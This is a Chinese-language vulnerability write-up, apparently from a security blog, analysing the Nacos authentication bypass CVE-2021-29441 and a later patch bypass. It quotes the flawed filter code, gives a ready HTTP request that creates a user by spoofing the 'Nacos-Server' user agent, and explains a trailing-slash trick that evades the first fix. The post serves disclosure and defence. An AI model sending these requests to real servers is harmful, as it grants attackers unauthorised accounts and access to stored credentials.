Nacos 认证绕过漏洞(CVE-2021-29441)及其补丁绕过分析

漏洞原理本身不复杂,但是整个分析过程、后续的补丁绕过,以及认证绕过的后续利用挖掘,还是很有意思,因此写这篇文章进行分析。

漏洞背景

阿里巴巴在2018年7月份发布Nacos, Nacos是一个更易于构建云原生应用的动态服务发现、配置管理和服务管理平台。简单来说,Nacos就是一个类似于Zookeeper的配置中心。

该漏洞发生在nacos在进行认证授权操作时,会判断请求的user-agent是否为"Nacos-Server",如果是的话则不进行任何认证。开发者原意是用来处理一些服务端对服务端的请求。但是由于配置的过于简单,并且将协商好的user-agent设置为Nacos-Server,直接硬编码在了代码里,导致了漏洞的出现。并且利用这个未授权漏洞,攻击者可以获取到用户名密码等敏感信息。

漏洞详情

漏洞出现在com.alibaba.nacos.core.auth.AuthFilter#doFilter函数,如果useragent等于Constants.NACOS_SERVER_HEADER这个常量,那么就进入下一个filter,不在进行认证校验。

public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain)
            throws IOException, ServletException {

        if (!authConfigs.isAuthEnabled()) {
            chain.doFilter(request, response);
            return;
        }

        HttpServletRequest req = (HttpServletRequest) request;
        HttpServletResponse resp = (HttpServletResponse) response;

        String userAgent = WebUtils.getUserAgent(req);

        if (StringUtils.startsWith(userAgent, Constants.NACOS_SERVER_HEADER)) {
            chain.doFilter(request, response);
            return;
        }

        try {

            Method method = methodsCache.getMethod(req);

            if (method == null) {
                chain.doFilter(request, response);
                return;
            }

            if (method.isAnnotationPresent(Secured.class) && authConfigs.isAuthEnabled()) {

                if (Loggers.AUTH.isDebugEnabled()) {
                    Loggers.AUTH.debug("auth start, request: {} {}", req.getMethod(), req.getRequestURI());
                }

                Secured secured = method.getAnnotation(Secured.class);
                String action = secured.action().toString();
                String resource = secured.resource();

                if (StringUtils.isBlank(resource)) {
                    ResourceParser parser = secured.parser().newInstance();
                    resource = parser.parseName(req);
                }

                if (StringUtils.isBlank(resource)) {
                    // deny if we don't find any resource:
                    throw new AccessException("resource name invalid!");
                }

                authManager.auth(new Permission(resource, action), authManager.login(req));

            }
            chain.doFilter(request, response);
        } catch (AccessException e) {
            if (Loggers.AUTH.isDebugEnabled()) {
                Loggers.AUTH.debug("access denied, request: {} {}, reason: {}", req.getMethod(), req.getRequestURI(),
                        e.getErrMsg());
            }
            resp.sendError(HttpServletResponse.SC_FORBIDDEN, e.getErrMsg());
            return;
        } catch (IllegalArgumentException e) {
            resp.sendError(HttpServletResponse.SC_BAD_REQUEST, ExceptionUtil.getAllExceptionMsg(e));
            return;
        } catch (Exception e) {
            resp.sendError(HttpServletResponse.SC_INTERNAL_SERVER_ERROR, "Server failed," + e.getMessage());
            return;
        }
    }

绕过认证之后就可以进行很多危险的操作,例如com.alibaba.nacos.console.controller.UserController中的操作。

@Secured(resource = NacosAuthConfig.CONSOLE_RESOURCE_NAME_PREFIX + "users", action = ActionTypes.WRITE)
@PostMapping
public Object createUser(@RequestParam String username, @RequestParam String password) {

    User user = userDetailsService.getUserFromDatabase(username);
    if (user != null) {
        throw new IllegalArgumentException("user '" + username + "' already exist!");
    }
    userDetailsService.createUser(username, PasswordEncoderUtil.encode(password));
    return RestResultUtils.success("create user ok!");
}

这个controller中包含了创建用户、删除用户等行为

如下poc即可创建一个新用户

POST /nacos/v1/auth/users?username=123&password=123 HTTP/1.1
User-Agent: Nacos-Server
Host: 127.0.0.1:8848
Accept: */*

补丁修复

在1.4.1版本中,增加了一段修复代码,第一个if中,为原本的逻辑,也是默认情况下的逻辑,依然是判断User-Agent头中是否是以Nacos-server开头,,第二个if中为新增逻辑,从用户的请求中获取一个键值对,判断与配置中的键值对是否相同,如果不相同则不会进入chain.doFilter

补丁绕过

在补丁的第二个if中,如果用户开启了这个安全配置,且攻击者匹配失败,那么不会进入chain.doFilter,而是继续往之后的流程走,而在这段代码的下方,是这段代码

try {

            Method method = methodsCache.getMethod(req);

            if (method == null) {
                chain.doFilter(request, response);
                return;
            }

如果能使getMethod方法返回null,那么认证就会被绕过。

public Method getMethod(HttpServletRequest request) {
        String path = getPath(request);
        if (path == null) {
            return null;
        }
        String httpMethod = request.getMethod();
        String urlKey = httpMethod + REQUEST_PATH_SEPARATOR + path.replace(contextPath, "");
        List<RequestMappingInfo> requestMappingInfos = urlLookup.get(urlKey);
        if (CollectionUtils.isEmpty(requestMappingInfos)) {
            return null;
        }
        List<RequestMappingInfo> matchedInfo = findMatchedInfo(requestMappingInfos, request);
        if (CollectionUtils.isEmpty(matchedInfo)) {
            return null;
        }

从代码来看,有多个返回null的机会,先看第一个getPath函数

private String getPath(HttpServletRequest request) {
        String path = null;
        try {
            path = new URI(request.getRequestURI()).getPath();
        } catch (URISyntaxException e) {
            LOGGER.error("parse request to path error", e);
        }
        return path;
    }

这个是我们的请求路径,不可能为null,看第二部分

        String urlKey = httpMethod + REQUEST_PATH_SEPARATOR + path.replace(contextPath, "");
        List<RequestMappingInfo> requestMappingInfos = urlLookup.get(urlKey);
        if (CollectionUtils.isEmpty(requestMappingInfos)) {
            return null;
        }

这个urllookup存放了所有的api

这里的绕过用到了一个小trick,一个普通的请求

http://127.0.0.1/user/login?username=1&amp;password=2

通过new URI(request.getRequestURI()).getPath();处理后,得到的path是/user/login

但是如果请求长这个样子

http://127.0.0.1/user/login/?username=1&amp;password=2

那么得到的path会是/user/login/

而这样子的path,在urlkey中会get不到数据,从而导致了绕过,并且在后续的filter处理中这个多出来的/并不会影响路由结果。

绕过补丁

官方在这个commit中修复了这此绕过https://github.com/alibaba/nacos/commit/2cc0be6ae1cee1f2bcd2b19886380a15004eae47#diff-d5e3e36338473d502083b47c9a5d3e162203eb17eea81e406bfa2e046ff30c7f

在urllookup中存放URL路径时均会在最后增加一个/,导致之前的绕过失效。

  • 发表于 2021-08-31 16:39:08
  • 阅读 ( 12612 )
  • 分类:漏洞分析

1 条评论

chentaotao
升级版本也不行,用最新的2.0.4问题还是存在
请先 登录 后评论
请先 登录 后评论
无糖
无糖

8 篇文章

站长统计